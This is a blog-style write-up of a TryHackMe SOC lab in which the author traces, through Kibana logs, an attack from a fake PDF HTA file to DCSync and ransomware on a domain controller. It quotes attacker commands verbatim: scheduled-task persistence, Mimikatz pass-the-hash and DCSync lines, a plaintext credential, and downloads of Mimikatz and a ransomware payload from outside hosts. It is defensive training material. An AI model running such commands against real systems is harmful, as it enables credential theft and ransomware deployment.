Back to writing

Boogeyman 3: one HTA file to a domain controller in two hours

The last Boogeyman room on TryHackMe's SOC Level 1 path. I followed one fake PDF through Kibana from a single workstation to a DCSync and ransomware on the domain controller, after my first search came back empty for a very dumb reason.

Detection & Response

Boogeyman 3 is one of the capstone rooms on TryHackMe’s SOC Level 1 path. The setup is a company called Quick Logistics that already got hit twice by the same group, and this time the CEO’s machine is the way in. You get an Elastic stack with two days of logs and nothing else. No packet capture, no disk image, just Kibana.

TryHackMe's Boogeyman 3 room banner

My first search found nothing

The room says the incident happened on August 29 and 30, 2023. I opened Discover, typed my first search, and got zero hits. For a minute I thought the lab hadn’t loaded its data.

It had. Kibana was still on its default time range of the last 15 minutes, and the logs were from 2023. I set an absolute range covering both days and everything showed up. Every historical lab needs this and I still forgot it.

The second mistake took longer to notice. I tried a broad query, process.command_line : *Downloads*, and the hit count on screen didn’t change. The autocomplete dropdown was still open and the query hadn’t actually applied, so I was looking at the old count and thinking my filter worked. After that I started checking the filter pill and the query bar before trusting any number Kibana gave me.

Broad searches were also buried in normal Windows and updater noise. What worked was searching one artifact at a time, the filename first, then whatever the result pointed to next. When a search was still hard to read in Discover, I switched to Dev Tools and pulled the same fields back as plain JSON.

I set Discover up with these columns and sorted oldest first so it read like a timeline:

@timestamp, host.name, user.name, process.name, process.pid,
process.parent.name, process.command_line, destination.ip, destination.port

The fake PDF

I started with the file name from the room brief:

process.command_line : *ProjectFinancialSummary_Q3.pdf.hta*

The first hit was on WKSTN-0051 at 23:51:15 UTC:

"C:\Windows\SysWOW64\mshta.exe" "D:\ProjectFinancialSummary_Q3.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

An HTA is an HTML application. Windows runs it with mshta.exe, which means it runs scripts with the user’s full permissions, and the .pdf in the middle of the name is there so it looks like a document. It was launched from explorer.exe, so the user double-clicked it.

What the HTA dropped

Searching for review.dat showed three children under that mshta.exe process:

mshta.exe
  ├─ xcopy.exe      copies review.dat into the user's Temp folder
  ├─ rundll32.exe   runs review.dat as a DLL
  └─ powershell.exe registers a scheduled task
"C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat
"C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer

I expected rundll32 to run the copy in Temp. It didn’t. It ran the original on D:, and the Temp copy only shows up in the scheduled task. That made sense once I saw the PowerShell command. The D: drive won’t be there tomorrow, so the task needs its own copy:

$A = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer';
$T = New-ScheduledTaskTrigger -Daily -At 06:00;
...
Register-ScheduledTask Review -InputObject $D -Force;

A task called Review, every day at 06:00.

Callback and admin rights

I filtered network events by the rundll32 process and added the destination columns. A child of it connected out to 165.232.170.151 on port 80.

About three minutes later there were two fodhelper.exe events. fodhelper.exe is a Windows binary that gets admin rights without showing a UAC prompt, and attackers use it to get past UAC by planting a registry key it reads on startup. Seeing it inside this process chain at that point in the timeline was enough to call it the UAC bypass.

Mimikatz, then the second machine

Searching for mimikatz showed it being pulled straight from GitHub:

iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip

Then a pass-the-hash as itadmin:

"C:\Windows\Temp\m\x64\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:itadmin /domain:QUICKLOGISTICS /ntlm:F84769D250EB95EB2D7D8B4A1C5613F2 /run:powershell.exe" exit

Pass-the-hash means they never needed the password. The NTLM hash is enough to log in as that user.

As itadmin, the attacker ran PowerView’s Invoke-ShareFinder, found a share called ITFiles on WKSTN-1327, and read a script inside it called IT_Automation.ps1. The very next command had a password in it, in plain text:

$credential = (New-Object PSCredential -ArgumentList ('QUICKLOGISTICS\allan.smith', (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987' -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {whoami}

One automation script with a hardcoded password gave them a second user and a second machine. When I filtered to WKSTN-1327, the attacker’s PowerShell had wsmprovhost.exe as its parent, which is the process PowerShell remoting runs under. That ties it back to the Invoke-Command on the first workstation.

On the second machine they downloaded Mimikatz again and got a hash for administrator.

The domain controller

Once they reached DC01, searching for dcsync returned two commands. DCSync asks a domain controller to hand over account hashes by pretending to be another domain controller. One was for Administrator and the other was for an account called backupda:

lsadump::dcsync /domain:quicklogistics.org /user:backupda

The last thing in the logs was the ransomware:

iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe

The full timeline

Time (UTC)HostWhat happened
23:51:15WKSTN-0051mshta.exe opens the HTA
23:51:16WKSTN-0051review.dat copied, run, and scheduled
23:53 to 23:55WKSTN-0051Discovery and fodhelper.exe UAC bypass
00:09 to 00:13WKSTN-0051Mimikatz, pass-the-hash as itadmin
00:14 to 00:21WKSTN-0051Share discovery, IT_Automation.ps1, remoting to WKSTN-1327
01:29 to 01:44WKSTN-1327Mimikatz again, Administrator hash
01:47 to 01:48DC01DCSync on backupda and Administrator
01:53DC01ransomboogey.exe downloaded and run

Two hours from a double-click to ransomware on the domain controller.

What I took away

None of these events looked like much on its own. xcopy, rundll32 and fodhelper all run on normal Windows machines every day. They only meant something once I lined them up by time, host, user and parent process. The process.command_line field did most of the work in this room. It had the URLs, the hashes, the file paths, and a plaintext password.

The other thing was the automation script. The attacker didn’t need an exploit to move from the first machine to the second, just a file share someone left readable with a password in a script.

Limits

This was a lab with clean, pre-loaded logs and a room brief that told me which file to start with. In a real SOC nobody hands you the filename, and there’d be far more noise across two days than what I had to dig through here. I also only saw what Sysmon and Windows logging captured. I never looked at the DLL itself, so I can’t say what review.dat actually did beyond calling home.